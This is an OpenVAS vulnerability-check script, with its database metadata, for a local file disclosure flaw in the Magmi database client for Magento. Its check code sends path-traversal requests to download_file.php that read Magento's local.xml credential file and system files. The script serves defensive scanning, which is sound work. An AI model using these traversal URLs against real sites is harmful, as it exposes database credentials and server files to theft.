Magmi database client for Magento Local File Disclosure Vulnerability

2015-10-14T00:00:00
ID OPENVAS:1361412562310111041
Type openvas
Reporter This script is Copyright (C) 2015 SCHUTZWERK GmbH
Modified 2018-09-07T00:00:00

Description

This host is installed with Magmi database client for Magento which is prone to a file disclosure vulnerability.

                                        
                                            ###############################################################################
# OpenVAS Vulnerability Test
# $Id: sw_magento_magmi_lfi.nasl 11291 2018-09-07 14:48:41Z mmartin $
#
# Magmi database client for Magento Local File Disclosure Vulnerability
#
# Authors:
# Christian Fischer <info@schutzwerk.com>
#
# Copyright:
# Copyright (c) 2015 SCHUTZWERK GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

CPE = 'cpe:/a:magmi:magmi';

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.111041");
  script_version("$Revision: 11291 $");
  script_tag(name:"last_modification", value:"$Date: 2018-09-07 16:48:41 +0200 (Fri, 07 Sep 2018) $");
  script_tag(name:"creation_date", value:"2015-10-14 18:00:00 +0200 (Wed, 14 Oct 2015)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("Magmi database client for Magento Local File Disclosure Vulnerability");
  script_category(ACT_ATTACK);
  script_copyright("This script is Copyright (C) 2015 SCHUTZWERK GmbH");
  script_family("Web application abuses");
  script_dependencies("sw_magento_magmi_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("magmi/installed");

  script_tag(name:"summary", value:"This host is installed with Magmi database
  client for Magento which is prone to a file disclosure vulnerability.");
  script_tag(name:"vuldetect", value:"Send a crafted HTTP GET request and
  check whether it is possible to get sensitive information.");
  script_tag(name:"insight", value:"Magmi database client for Magento does not
  sufficiently sanitize input submitted via URI parameters of potentially malicious data.
  This issue exists in the download_file.php script.");
  script_tag(name:"impact", value:"By submitting a malicious web request
  to this script that contains a relative path to a resource, it is possible to retrieve
  arbitrary files that are readable by the web server process.");
  script_tag(name:"affected", value:"Magmi database client 0.7.21");
  script_tag(name:"solution", value:"Please see the reference how to secure the Magmi UI access.");
  script_tag(name:"solution_type", value:"Mitigation");

  script_xref(name:"URL", value:"http://magmi.org");
  script_xref(name:"URL", value:"https://www.trustwave.com/Resources/SpiderLabs-Blog/Zero-day-in-Magmi-database-client-for-popular-e-commerce-platform-Magento-targeted-in-the-wild/");
  script_xref(name:"URL", value:"http://wiki.magmi.org/index.php?title=Securing_Magmi_UI_access");

  script_tag(name:"qod_type", value:"remote_app");

  exit(0);
}

include("misc_func.inc");
include("http_func.inc");
include("host_details.inc");
include("http_keepalive.inc");

if( ! port = get_app_port( cpe:CPE ) ) exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) ) exit( 0 );

if (dir == "/") dir = "";

url = dir + '/web/download_file.php?file=../../app/etc/local.xml';

if( http_vuln_check( port:port, url:url, pattern:"<username>.*</username>", extra_check:"<password>.*</password>"  ) ) {
  report = report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

files = traversal_files();

foreach file ( keys( files ) ) {
  url = dir + '/web/download_file.php?file=' +  crap( data:"../../", length:45 ) + files[file];
  if( http_vuln_check( port:port, url:url, pattern:file  ) ) {
    report = report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );